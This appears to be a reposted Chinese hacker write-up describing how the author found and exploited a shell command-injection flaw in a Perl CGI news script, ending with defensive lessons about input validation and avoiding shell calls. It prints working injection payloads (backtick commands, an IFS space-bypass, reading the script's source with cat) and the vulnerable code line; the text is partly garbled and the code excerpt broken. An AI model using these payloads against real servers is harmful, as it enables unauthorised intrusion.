一个CGI漏洞的发现和利用
前几天在海内的某个169节点读消息,这个站点顶部的一
排分类消息的链接引起了我的细致,这些链接都指向一个
叫sub.pl的CGI,只是它们后面跟的参数差别:海内消息的
是sub.pl?cn,国际消息的是sub.pl?in,财经的是sub.pl?fi
诸如此类...跟一样平常的CGI程序差别,sub.pl后跟的不是通常
的key,value对,哈,让我给sub.pl吃点洋荤,任意自己指定
个参数给它:
http://victim.net/cgi-bin/home/news/sub.pl?12
不出所料,CGI运行出错了:
/home1/siteadm/cgi-bin/home/news/log/12/*.*: 无此文件或目录
这个CGI真是太诚实了,它至多报告了我们两件事变:一 CGI目录
的绝对路径. 二 我们输入参数的作用,sub.pl的参数是在脚本中
作为目录名.这些发明一下子把我兴趣提了起来,再试试差别的
参数说不定有更大的发明,经过N次的试验,得到的出错信息大同
小异,值到第N+1次恳求:
http://victim.net/cgi-bin/home/news/sub.pl?&
服务器的返复书息有些不一样了:
sh: /WS_FTP95.exe: 不能实行
细致到了后面的"sh:"了吗?哈!,熟悉UNIX的朋友应该晓得,这可是
只要在shell试图运行某个程序出错时才会出现的错误信息.看起
来shell在试图运行什么程序,而紧张的是我们能够影响它!怎样去
进一步的影响它呢?反引号"`",绝对是值得一试的:
http://victim.net/cgi-bin/home/news/sub.pl?`ls`
服务器返回了稀罕的信息:
/home1/siteadm/cgi-bin/home/news/log/315: 无此文件或目录
"315"是什么工具?
再试:
http://victim.net/cgi-bin/home/news/sub.pl?`id`
这次返回的信息令我大吃一惊:
/home1/siteadm/cgi-bin/home/news/log/uid=999(siteadm): 无此文件或目录 gid=999(ne
tsite)/*.*: 无此文件或目?
很显然,服务器运行了id,我们能使用sub.pl运行shell下令了!刚
才的ls下令也肯定运行了,"315"肯定是当前CGI目录下的子目录.
让我们来列一下服务器根目录吧:
http://victim.net/cgi-bin/home/news/sub.pl?`ls%20/`
没乐成:
sh: ls%20/: 没找到
看来,sub.pl没有把"%20"解码成空格的习惯 :( 怎样绕过这个限定
呢?信赖你如今也已经想到了,还得靠我们的IFS变量, 用它来指定
shell分界符.试一下:
http://victim.net/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
服务器的回应:
/home1/siteadm/cgi-bin/home/news/log/SunOS: 无此文件或目录 victim.net: 无此文件或
目录 5.5.1: 无此文件或目录 Generic_103640-27: 无此文件或目录 sun4u: 无此文件或目
录 sparc: 无此文件或目录 SUNW,Ultra-2/*.*: 无此文件或目录
乐成了!如今我们差未几有了shell拜访权限,对SunOS这样的系统,拿
到root只是时间题目了.没有须要再继续下去,我不想搞破坏,对sub.pl
瞎子摸象式的打击已经给了我足够的乐趣. :) 当然我还有兴趣看
看题目究竟出在哪,把sub.pl弄上去看看:
当然这还得靠sub.pl :)
http://victim.net/cgi-bin/home/news/sub.pl?`cat<'/home1/siteadm/cgi-bin/home/new
s/sub.pl'`
输入结果太乱,就不列在这儿了.
经过整理后的sub.pl中的片断:
#!/usr/gnu/bin/perl
require "common.pl";
#($type) = split(//,$ENV{'QUERY_STRING'});
$type1=$ENV{'QUERY_STRING'};
$tdbg="#FF9900";
&parse_form;
if ($FORM{'command'} eq 'search'){
#if ($FORM{'newstype'} ne 'newstype'){ $type1=$FORM{'newstype'};}
#}
if ($type1 eq"so") {$tdbg="#0099CC";}
if ($type1 eq"in") {$tdbg="#71B8FF";}
if ($type1 eq"fu") {$tdbg="#CE9ECD";}
if ($type1 eq"sp") {$tdbg="#CCCCFF";}
if ($type1 eq"te") {$tdbg="#FF91FC";}
if ($type1 eq"fi") {$tdbg="#ffb3b3";}
if ($type1 eq"it") {$tdbg="#FFDE01";}
if ($type1 eq"") {$type1="it";} open (FILE, "$cgipath/$type") || &error("Unable
to open $cgipath/$pwd");
@main1=
{
chop($line1);
($type2,$name1)=split(//,$line1);
if ($type2 eq $type1) {$name=$name1;}
}
$sublog=$$type1;
print "Content-type text/html \n\n";
if ($FORM{'command'} eq 'searchdate'){
$sublog="$type1/$FORM{'mmdd'}.txt";}
open(FILE,"$path_log/$sublog") || die("Unable to write to $path_log/$file");
@main =
close(FILE);
#&newshead($name,"1");
.
.
.
.
.
$data_path1="$data_path/$type1";
$search_data = `ls $data_path1/*.*`; <--------看来,就是去世在这了 :)
$search_data =~ s/$data_path1|\.txt|\///g;
.
.
.
.
.
结论:对付编写很差的CGI程序,经过关闭源码的措施很多时候并不能躲过被
黑客使用的命运,黑客可以经过向它发送许多出人料想的恳求,分析它的回应
推测出程序的结谈判可能存在的缺点从而使用之.下面的这个sub.pl例子,至
少犯了三个错误:1.没有对用户输入进行检查.2.在脚本中直接挪用shell,3.
没有什么错误处置惩罚机制. 只要它在3点中的一点有所加强,将大大增加黑客入侵
的难度.还想说的是,国表里经过CGI毛病入侵的例子并不少见,据说,ADM就是
使用第三方的CGI程序的毛病黑了著名的hack站点anticode,Antionline变成了
ADMonline :).
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明：原创作品，允许转载，转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
|
评论加载中...
|
